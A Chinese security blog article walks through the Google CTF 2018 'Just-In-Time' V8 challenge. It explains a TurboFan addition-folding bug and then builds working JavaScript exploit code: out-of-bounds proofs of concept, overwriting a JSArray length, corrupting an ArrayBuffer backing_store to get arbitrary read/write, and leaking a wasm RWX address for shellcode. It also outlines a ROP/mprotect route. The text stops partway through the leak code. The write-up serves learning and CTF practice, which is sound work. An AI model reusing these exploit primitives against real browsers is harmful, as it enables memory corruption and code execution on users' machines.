首页
活动
招聘
安全导航

浅析 V8-turboFan（下）

阅读量353452

|

发布时间 : 2021-01-28 14:30:51

 

基础概念介绍到这里，接下来我们学习一道CTF题来练练手。

六、Google CTF 2018(final) Just-In-Time

1. 简介

Google CTF 2018(final) Just-In-Time 是 v8 的一道基础题，适合用于v8即时编译的入门，其目标是执行/usr/bin/gnome-calculator以弹出计算器。在这里我们通过这道题目来学习一下v8的相关概念。

这道题的题解在安全客上有很多，但由于这是笔者初次接触 v8 的题，因此这次我们就详细讲一下其中的细节。

2. 环境搭建

题目给的附件（ctftime中的附件，不是github上的附件）内含一个已编译好的chromium和两个patch文件。

  • nosandbox.patch : 该文件用于关闭renderer的沙箱机制。
  • addition-reducer.patch : 本题的重头戏。
  • chromium ：版本号为70.0.3538.9的二进制包（已打patch）

不过由于笔者已经搭了v8的环境，因此决定采用源码编译的方式来编译出一个v8，这样的好处是可以更方便的进行调试。该题的v8版本为7.0.276.3，可以通过chrome://version来获取，或者去OmahaProxy CSV Viewer中查询。

# 开代理
sudo service privoxy start
export https_proxy=http://127.0.0.1:8118
export http_proxy=http://127.0.0.1:8118
# 切换chromium版本
cd v8/
git checkout 7.0.276.3 # 如果需要force，则添加-f参数。gclient同样如此。
gclient sync # 这一步需要代理（很重要）,需要N久,取决网速。

# gclient sync完成后再打个patch
git apply ../../../CTF/GoogleCTF2018_Just-In-Time/addition-reducer.patch
# 设置一下编译参数
tools/dev/v8gen.py x64.debug
# 设置允许优化checkbounds
echo "v8_untrusted_code_mitigations = false" >> out.gn/x64.debug/args.gn
# 编译
ninja -C out.gn/x64.debug

为什么要设置v8_untrusted_code_mitigations = false，请查看上面关于SimplifiedLoweringPhase中checkbounds优化的简单讲解。

这里可能是因为出题者忘记给出v8的编译参数了，否则默认的编译参数将无法利用漏洞。

3. 漏洞成因

  • 新打的patch将在turboFan中的TypedLoweringPhase中添加了一种优化方式。 
    Reduction DuplicateAdditionReducer::Reduce(Node* node) {
  switch (node->opcode()) {
    case IrOpcode::kNumberAdd:
      return ReduceAddition(node);
    default:
      return NoChange();
  }
}

Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
  DCHECK_EQ(node->op()->ControlInputCount(), 0);
  DCHECK_EQ(node->op()->EffectInputCount(), 0);
  DCHECK_EQ(node->op()->ValueInputCount(), 2);

  Node* left = NodeProperties::GetValueInput(node, 0);
  if (left->opcode() != node->opcode()) {
    return NoChange();
  }

  Node* right = NodeProperties::GetValueInput(node, 1);
  if (right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange();
  }

  Node* parent_left = NodeProperties::GetValueInput(left, 0);
  Node* parent_right = NodeProperties::GetValueInput(left, 1);
  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
    return NoChange();
  }

  double const1 = OpParameter<double>(right->op());
  double const2 = OpParameter<double>(parent_right->op());
  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));

  NodeProperties::ReplaceValueInput(node, parent_left, 0);
  NodeProperties::ReplaceValueInput(node, new_const, 1);

  return Changed(node);
}

    该优化方式将优化诸如x + 1 + 2这类的表达式为x + 3，即以下的Case4：

  • 但是，还记得我们之前所提到的，NumberConstant的内部实现使用的是double类型。这就意味着这样的优化可能存在精度丢失。举个例子：即，x + 1 + 1不一定会等于x + 2！所以这种优化是存在问题的。
  • 这是为什么呢？原因是浮点数的IEEE764标准。当一个浮点数越来越大时，有限的空间只能保留高位的数据，因此一旦浮点数的值超过某个界限时，低位数值将被舍弃，此时数值不能全部表示，存在精度丢失。而这个界限正是 $2^{53}-1 = 9007199254740991$，即上图中的MAX_sAFE_INTEGER。 
    // 以下是double结构的9007199254740991值，可以看到正好是double结构所能存放的最大整数。
+------+--------------+------------------------------------------------------+‭
| sign |    exponent  |                fraction                              |
+------+--------------+------------------------------------------------------+
|   0  |  00000000001 | 1111111111111111111111111111111111111111111111111111‬ |
+------+--------------+------------------------------------------------------+
  • 由于x + 1 + 1 <= x + 2，因此某个NumberAdd结点的Type，也就是其Range将会小于该结点本身的值 。例如
    • 9007199254740992 连续两次+1后，由于精度丢失，导致最后一个NumberAdd结点的Type为Range(9007199254740992,9007199254740992)。
    • 但由于执行了patch中的优化，导致最后一个加法操作实际的结果为9007199254740994，大于Range的最大值。
    • 因此，如果使用这个结果值来访问数组的话，可能存在越界读写的问题，因为若预期index小于length的最小范围时，checkBounds结点将会被优化，此时比预期index 范围更大的 实际index 很有可能成功越界。

4. 漏洞利用

a. OOB

1) 构造POC
  • 我们先试一下POC 
    function f(x)
{
    const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // length => Range(5, 5)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    // 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
    /* 此时 t => 
        解释：Range(9007199254740991, 9007199254740992)
        编译：Range(9007199254740991, 9007199254740994)
    */
    t -= 9007199254740989;
    /* 此时 t => 
        解释：Range(2, 3)
        编译：Range(2, 5)
    */
    return arr[t];
}

console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));

    Type后的结果如下，可以看到checkbounds的检查可以通过：

    因此该checkbounds将在SimplifiedLoweringPhase中被优化：

    输出的结果如下：

    注：输出结果中的DuplicateAdditionReducer::ReduceAddition Called/Success，是打patch后的输出内容，在原v8中没有该输出。

    可以看到，成功将两个+1操作优化为+2，并在最末尾处成功越界读取到一个数组外的元素。

  • 这里需要说一下构建poc可能存在的问题：
    • POC1：无 if 分支 
      function f(x)
{
    const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
    // 这里没有使用上面if xxx这样的语句，直接一个整数赋值

    // let t = Number.MAX_SAFE_INTEGER + 1; 
    let t = 9007199254740992; 
    t = t + 1 + 1;
    t -= 9007199254740989;
    return arr[t];
}

console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));

      问题点：由于函数中常数与常数相加减，因此在执行TypedLoweringPhase中的ConstantFoldingReducer时，三个算数表达式会直接优化为一个常数，这样就没办法执行DuplicateAdditionReducer。

      解决方法：使用一个if分支，这样就可以通过phi结点来间接设置Range。

    以下是一些玄学问题。

    • POC2：使用Number.MAX_SAFE_INTEGER 
      function f(x)
{
  const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
    let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1 
        : Number.MAX_SAFE_INTEGER - 2);
    t = t + 1 + 1;
    t -= (Number.MAX_SAFE_INTEGER - 2);
    return arr[t];
}

console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));

      问题点：在GraphBuilderPhase中，type feedback推测目标函数的参数只会为1，因此turboFan推测函数中的条件判断式“恒”成立，故在InliningPhase中优化merge结点，使得变量t始终为一个常数。

      之后就执行TypedLoweringPhase中的ConstantFoldingReducer再次将其优化为一个常数，以至于无法执行DuplicateAdditionReducer优化。

      通过turbolizer我们可以看出，若判断条件为真，则将优化好的结果输出；若判断条件为假，则说明type feedback出现错误，需要执行deopt。

      至于为什么先前的poc不会优化merge结点，而当前这个poc会优化merge结点，

      这个问题仍然需要进一步探索。

      解决方法：

      1. 不同时在 if 语句的两个分支处使用Number.MAX_SAFE_INTEGER 
         function f(x)
 {
     const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
     let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1 
         // 修改了此处
         : 9007199254740989);
     t = t + 1 + 1;
     t -= (Number.MAX_SAFE_INTEGER - 2);
     return arr[t];
 }

 console.log(f(1));
 %OptimizeFunctionOnNextCall(f);
 console.log(f(1));
      2. 在执行%OptimizeFunctionOnNextCall前，使函数调用传入的参数不单一: 
         function f(x)
 {
     const arr = [1.1, 2.2, 3.3, 4.4, 5.5];
     let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1 
           : Number.MAX_SAFE_INTEGER - 2);
     t = t + 1 + 1;
     t -= (Number.MAX_SAFE_INTEGER - 2);
   return arr[t];
 }

 console.log(f(1));
 console.log(f(0));  // 添加了此行
 %OptimizeFunctionOnNextCall(f);
 console.log(f(1));
    • POC3：不使用let/var/const修饰词 
      function f(x)
{
    // 错误：arr前没有let、var或者const
    arr = [1.1, 2.2, 3.3, 4.4, 5.5];
    // 错误：t 前没有let
    t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740989;
    return arr[t];
}

console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));

      问题点：经过gdb动态调试可知，若数组前没有修饰词，则CheckBounds的上一个结点LoadField结点将不会被LoadEliminationPhase优化，这样使得数组length结点的范围最大值为134217726，最后导致无法成功优化CheckBounds结点：

      同时，若变量t前没有修饰词，则越界的add操作将被check出，进而设置值为inf/NaN，之后的减法就无法计算出我们所期望的Range值：

      解决方法：添加修饰词。

      为什么修饰词会影响到结点的建立等等？这其中的内容同样也需要进一步的探索。

    • POC4：使用整数数组 
        function f(x)
  {
      const arr = [1, 2, 3, 4, 5];
      let t = (x == 1 ? 9007199254740992 : 9007199254740989);
      t = t + 1 + 1;
      t -= 9007199254740989;
      return arr[t];
  }

  console.log(f(1));
  %OptimizeFunctionOnNextCall(f);
  console.log(f(1));

      问题点：执行console.log时崩溃：

      解决方法：更改数组类型。经过一番测试，发现貌似只能改成浮点数数组，改成其他类型的输出都会崩溃。

    • 小结：构造POC需要重复多次 修改代码 => 观察输出 => 从turbolizer中查看结点图 => 分析错误原因 这个过程，有时还需要给源码打patch和上gdb调试，需要耐心。
  • 构造POC时，只需要关注两个重点：
    1. 能否成功执行DuplicateAdditionReducer优化
    2. 能否成功优化CheckBounds结点。

    如果这两个条件都满足，那基本上构建出的POC可以OOB了。

2) 越界读取

POC有了，那我们试着看一下越界读取到的内存位置，

不出以外的话应该是最后一个元素5.5的下一个8位数据：

function f(x)
{
    let arr = [1.1, 2.2, 3.3, 4.4, 5.5];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989) + 1 + 1;
    t -= 9007199254740989;
    console.log(arr[t]);
    // 将arr数组详细信息输出
    %DebugPrint(arr);
}

f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
// 下断点，使v8在gdb中暂停
%SystemBreak();

启动GDB，可以看到 d8 自动暂停执行：

之后我们可以找到DebugPrint出的数组内存地址：

每个Object内部都有一个map，该map用于描述对应结构的相关属性。其中包括了当前Object的实例大小，以及一些供GC使用的信息。通过上面的输出，我们可以得到，当前JSArray的实例大小只有32字节。

map的具体信息请查阅源码 src/objects/map.h 中的注释。

因此，数组中的其他元素肯定存放于另一个数组，而这个数组的类型为FixedDoubleArray，其地址存放于JSArray中。

需要注意的是：v8 中的指针值大多被打上了tag，以便于区分某个值是pointer还是smi。

因此在gdb使用某个地址时，最低位需要手动置0。

以下是某个 JSArray 的内存布局：

注意到 JSArray中，第四个8字节数据（即上图中的0x0000000500000000）存放的是当前数组的length（5），即便数组元素并没有存放在当前这块内存上。

// v8/src/objects/js-array.h
// static const int v8::internal::JSObject::kHeaderSize = 24
static const int kLengthOffset = JSObject::kHeaderSize;

回到刚刚的话题，数组的值被存放在FixedDoubleArray中，因此我们输出一下内存布局看看：

可以看到，它越界读取到的数据与先前猜测的一致，即最后一个元素的下一个8字节数据。

同时我们还可以从 gdb 的输出中注意到，一个 JSArray的length 即在 JSArray 中保存，又在 FixedDoubleArray 中存放着，这个也可以在源码中直接定位到操作：

// v8/src/objects/js-array-inl.h
void JSArray::SetContent(Handle<JSArray> array,
                         Handle<FixedArrayBase> storage) {
  EnsureCanContainElements(array, storage, storage->length(),
                           ALLOW_COPIED_DOUBLE_ELEMENTS);

  DCHECK(
      (storage->map() == array->GetReadOnlyRoots().fixed_double_array_map() &&
       IsDoubleElementsKind(array->GetElementsKind())) ||
      ((storage->map() != array->GetReadOnlyRoots().fixed_double_array_map()) &&
       (IsObjectElementsKind(array->GetElementsKind()) ||
        (IsSmiElementsKind(array->GetElementsKind()) &&
         Handle<FixedArray>::cast(storage)->ContainsOnlySmisOrHoles()))));
  // length既保存在 JSArray 中，也保存在 FixedArrayBase里
  array->set_elements(*storage);
  array->set_length(Smi::FromInt(storage->length()));
}

但实际上， FixedDoubleArray 中的 length 只用于提供有关固定数组分配的信息，而越界检查只会检查 JSArray 的length，这意味着我们必须修改 JSArray 的 length 才可以进行任意地址读写。

以下是检测数组访问是否越界的代码：

// v8/src/ic/ic.cc
bool IsOutOfBoundsAccess(Handle<Object> receiver, uint32_t index) {
  uint32_t length = 0;
  if (receiver->IsJSArray()) {
    // 获取 JSArray 的 length
    JSArray::cast(*receiver)->length()->ToArrayLength(&length);
  } else if (receiver->IsString()) {
    length = String::cast(*receiver)->length();
  } else if (receiver->IsJSObject()) {
    length = JSObject::cast(*receiver)->elements()->length();
  } else {
    return false;
  }
  // 判断是否越界
  return index >= length;
}

KeyedAccessLoadMode GetLoadMode(Isolate* isolate, Handle<Object> receiver,
                                uint32_t index) {
  // 一开始就判断越界
  if (IsOutOfBoundsAccess(receiver, index)) {
    // ...
  }
  return STANDARD_LOAD;
}

/*
函数调用栈帧：
    #0  v8::internal::(anonymous namespace)::IsOutOfBoundsAccess
    #1  v8::internal::(anonymous namespace)::GetLoadMode
    #2  v8::internal::KeyedLoadIC::Load
    #3  v8::internal::__RT_impl_Runtime_KeyedLoadIC_Miss
    #4  v8::internal::Runtime_KeyedLoadIC_Miss
    #5  Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit
    ....
*/

为了验证上述内容的正确性，笔者手动用gdb修改了 JSArray 的 length，发现在 release 版本的v8下可以越界读取。但在 debug 版本下，会触发FixedArray中的DCHECK检查导致崩溃：

// v8/src/objects/fixed-array-inl.h
DCHECK(index >= 0 && index < this->length());

因此在编译 debug 版本的 v8 时，需要手动注释掉src/objects/fixed-array-inl.h 中越界检查的DCHECK

请勿直接编译 release 版本的v8来关闭DCHECK，这会大大提高调试难度。

b. 构造任意地址读写

1) JSArray 修改 length
  • 我们将 FixedArray 的内存布局输出，可以发现 JSArray 和 FixedArray 的数据是紧紧相邻的，且 FixedArray 位于低地址处，这为我们修改 JSArray 的 length 提供了一个非常好的条件：
  • 现在我们可以试着越界修改一下 JSArray 的 length。需要注意我们必须越界四格才能修改到length，因此需要稍微修改一下POC越界的范围： 
    function f(x)
{
    let arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; // length => Range(7, 7)
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    // 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992)
    t = t + 1 + 1;
    /* 此时 t => 
        解释：Range(9007199254740991, 9007199254740992)
        编译：Range(9007199254740991, 9007199254740994)
    */
    t -= 9007199254740990;
    /* 此时 t => 
        解释：Range(1, 2)
        编译：Range(1, 4)
    */
    t *= 2;
    /* 此时 t => 
        解释：Range(2, 4)
        编译：Range(2, 8)
    */
    t += 2;
    /* 此时 t => 
        解释：Range(4, 6)
        编译：Range(4, 10)
    */
    console.log(arr[t]);
    %DebugPrint(arr);
}

f(1);
%OptimizeFunctionOnNextCall(f);
f(1);
%SystemBreak();

    最后输出了1.4853970537e-313，用gdb转换成int类型，刚好为7，这就意味着我们现在可以修改 JSArray 的 length 了。

    试一试：

    var oob_arr = [];
function opt_me(x)
{
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    // 将 smi(1024) 写入至 JSArray 的 length处
    oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi
}
// 尝试优化
for(let i = 0; i < 0x10000; i++)
    opt_me(1);
// 试着越界读取一下
console.log(oob_arr.length);
console.log(oob_arr[100]);
%SystemBreak();

    可以发现，越界读写成功！

    在附件chromium中试试发现也是可以正常工作的：

    但我们发现 v8 和 chromium 输出的值不一样，所以调试 d8 编写 JS 后还需要到 chromium 这边验证一下。

    这里有个注意点，在被turboFan优化过的函数中读写数组，其越界判断不会通过我们所熟知的Runtime_KeyedLoadIC_Miss函数，因此越界操作最好在被优化的函数外部执行。

  • 现在我们已经成功让 JSArray 实现大范围向后越界读取，但这明显不够，因为 JSArray 只能向后越界读写 0x40000000字节，有范围限制。 
    // v8/src/objects/fixed-array.h
#ifdef V8_HOST_ARCH_32_BIT
  static const int kMaxSize = 512 * MB;
#else
  static const int kMaxSize = 1024 * MB;
#endif  // V8_HOST_ARCH_32_BIT

    看样子我们可以再次声明一个 JSArray ，然后越界修改其 elements 地址以达到任意地址读写的目的？实际上是不行的，因为每一个 element 都有其对应的 map 指针，如果我们要通过修改 elements 地址来进行任意读的话，我们还必须在目标地址手动伪造一个 fake map，但通常我们是没有办法来伪造的。

    因此接下来我们将引入漏洞利用中比较常用的类型：ArrayBuffer。

2) ArrayBuffer
  • ArrayBuffer是漏洞利用中比较常见的一个对象，这个对象用于表示通用的、固定长度的原始二进制数据缓冲区。通常我们不能直接操作ArrayBuffer的内容，而是要通过类型数组对象（JSTypedArray）或者DataView对象来操作，它们会将缓冲区中的数据表示为特定的格式，并且通过这些格式来读写缓冲区的内容。
    而 ArrayBuffer中的缓冲区内存，就是 v8 中 JSArrayBuffer 对象中的 backing_store 。
  • 需要注意的是，ArrayBuffer 自身也有 element。这个 element 和 backing_store 不是同一个东西：element 是一个 JSObject，而 backing_store 只是单单一块堆内存。 因此，单单修改 element 或 backing_store 里的数据都不会影响到另一个位置的数据。以下是一个简单的 JS 测试代码： 
    buffer = new ArrayBuffer(0x400);
int = new Int32Array(buffer);
int[2] = 1024;
buffer[1] = 0x200;
%DebugPrint(buffer);
%SystemBreak();

    浏览器中输出的结果：

    gdb中输出的地址信息：

  • 我们可以很容易的推测出，那些 JSTypedArray 读写的都是 ArrayBuffer 的 backing_store，因此如果我们可以任意修改 ArrayBuffer 的 backing_store，那么就可以通过 JSTypedArray 进行任意地址读写。

    JSTypedArray 包括但不限于 DataView、Int32Array、Int64Array、Float32Array、Float64Array 等等。

    笔者将在下面使用DataView对象来对 ArrayBuffer 的 backing_store 进行读写。为了证明 DataView 修改的确实是 ArrayBuffer 中 backing_store 指向的那块堆内存，笔者找到其对应的代码：

    注：以下代码来自v8/src/builtins/data-view.tq，代码语言为V8 Torque。该语言的语法类似于TypeScript，其设计目的在于更方便的表示高级的、语义丰富的V8实现。Torque编译器使用CodeStubAssembler将这些片断转换为高效的汇编代码。

    更多关于该语言的信息请查阅 V8 Torque user manual。

    // v8/src/builtins/data-view.tq
javascript builtin DataViewPrototypeSetFloat64(
    context: Context, receiver: Object, ...arguments): Object {
      let offset: Object = arguments.length > 0 ?
          arguments[0] :
          Undefined;
      let value : Object = arguments.length > 1 ?
          arguments[1] :
          Undefined;
      let is_little_endian : Object = arguments.length > 2 ?
          arguments[2] :
          Undefined;
      // 在越界检查完成后，继续调用 DataViewSet函数。
      return DataViewSet(context, receiver, offset, value,
                         is_little_endian, FLOAT64_ELEMENTS);
    }
macro DataViewSet(context: Context,
                    receiver: Object,
                    offset: Object,
                    value: Object,
                    requested_little_endian: Object,
                    kind: constexpr ElementsKind): Object {
    // 获取当前 DataView 类型
    let data_view: JSDataView = ValidateDataView(
        context, receiver, MakeDataViewSetterNameString(kind));
    // ...
    let littleEndian: bool = ToBoolean(requested_little_endian);
    // 获取当前 DataView 中的 Buffer，即对应的 ArrayBuffer
    let buffer: JSArrayBuffer = data_view.buffer;
    // ...
    else {
      let double_value: float64 = ChangeNumberToFloat64(num_value);

      if constexpr (kind == UINT8_ELEMENTS || kind == INT8_ELEMENTS) {
         // ...
      }
      // ...
      else if constexpr (kind == FLOAT64_ELEMENTS) {
      // 将一个64位值分解成两个32位值并写入Buffer.
        let low_word: uint32 = Float64ExtractLowWord32(double_value);
        let high_word: uint32 = Float64ExtractHighWord32(double_value);
        StoreDataView64(buffer, bufferIndex, low_word, high_word,
                        littleEndian);
      }
    }
    return Undefined;
  }
macro StoreDataView64(buffer: JSArrayBuffer, offset: intptr,
                        low_word: uint32, high_word: uint32,
                        requested_little_endian: bool) {
    // 获取写入的内存地址，这里取的是 ArrayBuffer 中的 backing_store 
    // 可以看到这个结果与我们的预计是一致的。
    let data_pointer: RawPtr = buffer.backing_store;
    // ...
    if (requested_little_endian) {
      // 将值写入 backing_store。
      StoreWord8(data_pointer, offset, b0);
      StoreWord8(data_pointer, offset + 1, b1);
      StoreWord8(data_pointer, offset + 2, b2);
      StoreWord8(data_pointer, offset + 3, b3);
      StoreWord8(data_pointer, offset + 4, b4);
      StoreWord8(data_pointer, offset + 5, b5);
      StoreWord8(data_pointer, offset + 6, b6);
      StoreWord8(data_pointer, offset + 7, b7);
    } else {
        // ...
    }
  }
  • 因此，现在我们可以试着构建任意地址读写原语
3) 任意地址读写原语
  • 根据上面的分析，我们可以梳理一条这样的过程来构造任意地址读写原语：
    • 通过 OOB 修改其自身 JSArray 的 length，从而达到大范围越界读写。
    • 试着将 ArrayBuffer 分配到与 OOB 的 JSArray 相同的内存段上，这样就可以通过 OOB 来修改 ArrayBuffer 的 backing_store。
    • 将 ArrayBuffer 与 DataView 对象关联，这样就可以在 JSArray 越界修改 ArrayBuffer 的 backing_store 后，通过DataView 对象读写目标内存。
  • 需要注意的是，在确定 FixedDoubleArray 与 backing_store 之前的相对偏移时，最好不要使用硬编码。因为如果需要在当前内存段上再新建立一个对象时，原先的相对偏移很有可能会失效；而且不使用硬编码也可以更好的将 exp 从 v8 移植到 chromium上。但不使用硬编码时，使用 for循环结果语句 来循环越界读取数组将会触发一个CSA_ASSERT： 
    // v8/src/code-stub-assembler.cc

// in TNode<Float64T> CodeStubAssembler::LoadFixedDoubleArrayElement
CSA_ASSERT(this, IsOffsetInBounds(
    offset, LoadAndUntagFixedArrayBaseLength(object),
    FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));

    由于CSA_ASSERT只会在Debug版本下的 v8 生效，因此我们同样可以注释掉该语句再重新编译，不影响 chromium 中 exp 的编写。

  • 综上所述，最后构造出的任意地址读写原语如下： 
    function log(msg)
{
    console.log(msg);
    // var elem = document.getElementById("#log");
    // elem.innerText += '[+] ' + msg + '\n';
}

/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/

var transformBuffer = new ArrayBuffer(8);
var bigIntArray = new BigInt64Array(transformBuffer);
var floatArray = new Float64Array(transformBuffer);
function Int64ToFloat64(int)
{
    bigIntArray[0] = BigInt(int);
    return floatArray[0];
}
function Float64ToInt64(float)
{
    floatArray[0] = float;
    return bigIntArray[0];
}

/******* -- 修改JSArray length 的操作 -- *******/
var oob_arr = [];
function opt_me(x)
{
    oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
    let t = (x == 1 ? 9007199254740992 : 9007199254740989);
    t = t + 1 + 1;
    t -= 9007199254740990;
    t *= 2;
    t += 2;
    oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi
}
// 试着触发 turboFan，从而修改 JSArray 的 length
for(let i = 0; i < 0x10000; i++)
    opt_me(1);
// 简单 checker
if(oob_arr[1023] == undefined)
    throw "OOB Fail!";
else
    log("[+] oob_arr.length == " + oob_arr.length);

/******* -- 任意地址读写原语 -- *******/
var array_buffer;
array_buffer = new ArrayBuffer(0x233);
data_view = new DataView(array_buffer);
backing_store_offset = -1;

// 确定backing_store_offset
for(let i = 0; i < 0x400; i++)
{   
    // smi(0x233) == 0x0000023300000000
    if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000)
    {
        backing_store_offset = i + 1;
        break;
    }
}
// 简单确认一下是否成功找到 backing_store
if(backing_store_offset == -1)
    throw "backing_store is not found!";
else
    log("[+] backing_store offset: " + backing_store_offset);

function read_8bytes(addr)
{
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    return data_view.getBigInt64(0, true); // true 设置小端序
}
function write_8bytes(addr, data)
{
    oob_arr[backing_store_offset] = Int64ToFloat64(addr);
    data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序
}

/******* -- try arbitrary read/write -- *******/
// 试着读取地址为 0xdeaddead 的内存
read_8bytes(0xdeaddead);
// 试着写入地址为 0xdeaddead 的内存
write_8bytes(0xdeaddead, 0x89abcdef);

    测试结果如下：

    注：单次只能测试任意读或任意写，不能同时测试。

    • 可以将目标数据写入目标地址：
    • 可以从目标地址中读出数据

c. 泄露 RWX 地址

  • 由于 v8 已经取消将 JIT 编码的 JSFunction 放入 RWX 内存中 ，因此我们必须另找它法。根据所搜索到的利用方式，有以下两种：
    1. 将 Array 的 JSFunction 写入内存并泄露，之后就可以进一步泄露 JSFunction 中的 code 指针。由于这个Code指针指向 chromium 二进制文件内部，因此我们可以将二进制文件拖入 IDA 中计算相对位移，获取 代码基地址 => GOT表条目 => libc基地址 => enviroment指针，这样就可以获取到可写的栈地址以及mprotect地址。然后将 shellcode 写入栈里并 ROP 调用 mprotect 修改执行权限，最后跳转执行，这样就可以成功执行 shellcode。

      此方法来自 Sakura 师傅，第四条参考链接。

    2. v8 除了编译 JS 以外还编译 WebAssembly （wasm）代码，而 wasm 模块至今仍然使用 RWX 内存，因此我们可以试着将 shellcode 写入这块内存中并执行，不过这个方法有点折腾。

      此方法来自 doar-e，第一条参考链接。

    第一种利用方式非常的直接，利用起来应该没有太大的难度。因此出于学习的目的，我们选择第二种方式，学习一下 WebAssembly 的利用方式。

  • 通过查阅这片文章 浅谈如何逆向分析WebAssembly二进制文件 – 安全客，我们可以获取到wasm的简易使用方式，并通过这个方式获取到 Wasm 的 JSFunction： 
    // C++ 代码 `void func() {}` 的 wasm 二进制代码
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11]);
let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
  • 而对于一个 Wasm 的 JSFunction，我们可以通过以下路径来获取 RWX 段地址：

    这条路径稍微有点长：JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData -> WasmInstanceObject -> JumpTableStart。

    • 从 JSFunction 出发，获取其 SharedFunctionInfo（相对偏移为 0x18）
    • 之后从 SharedFunctionInfo 获取其 WasmExportedFunctionData（相对偏移为 0x8）
    • 再从 WasmExportedFunctionData 中获取 WasmInstanceObject（相对偏移为 0x10）
    • 最后从 WasmInstanceObject 中获取 JumpTableStart（相对偏移为 0xe8）
  • 查看获取到的 JumpTableStart 位置处的数据，我们可以发现这里是一串汇编代码。给该位置下断，并在 JS 中执行一下 Wasm 的 JSFunction ，我们可以发现控制流被断点成功捕获：以下是测试用的 JS 代码： 
    // C++ 代码 `void func() {}` 的 wasm 二进制代码
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 输出一下 Wasm JSFunction 地址，并获取其 JumpTableStart
%DebugPrint(WasmJSFunction);
// 之后在 gdb 中给 JumpTableStart 下个断点
%SystemBreak();
// 尝试执行 Wasm JSFunction
WasmJSFunction();
%SystemBreak();
  • 现在情况已经非常明了了，通过之前构建的任意地址读取原语，一步步读取 Wasm JSFunction 的各个属性并最终获取 RWX 内存地址： 
    function prettyHex(bigint)
{
  return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');
}

// C++ 代码 `void func() {}` 的 wasm 二进制代码
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,
    0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,
    131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,
    6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,
    0,1,130,128,128,128,0,0,11]);
var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});
var WasmJSFunction = m.exports.func;
// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上
// 这里写入了一个哨兵值0x233333，用于查找 WasmJSFunction 地址
var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};
var WasmJSFunctionIndex = -1;

for(let i = 0; i < 0x4000; i++)
{   
    // 查找哨兵值
    if(Float64ToInt64(oob_arr[i]) == 0x233333)
    {
        WasmJSFunctionIndex = i + 1;
        break;
    }
}

// 简单确认一下是否成功找到 WasmJSFunctionAddr
if(WasmJSFunctionIndex == -1)
    throw "WasmJSFunctionAddr is not found!";
else
    log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);

// 获取 WasmJSFunction 地址
WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);
log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));
// 获取 SharedFunctionInfo 地址
SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);
log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));
// 获取 WasmExportedFunctionData 地址
WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);
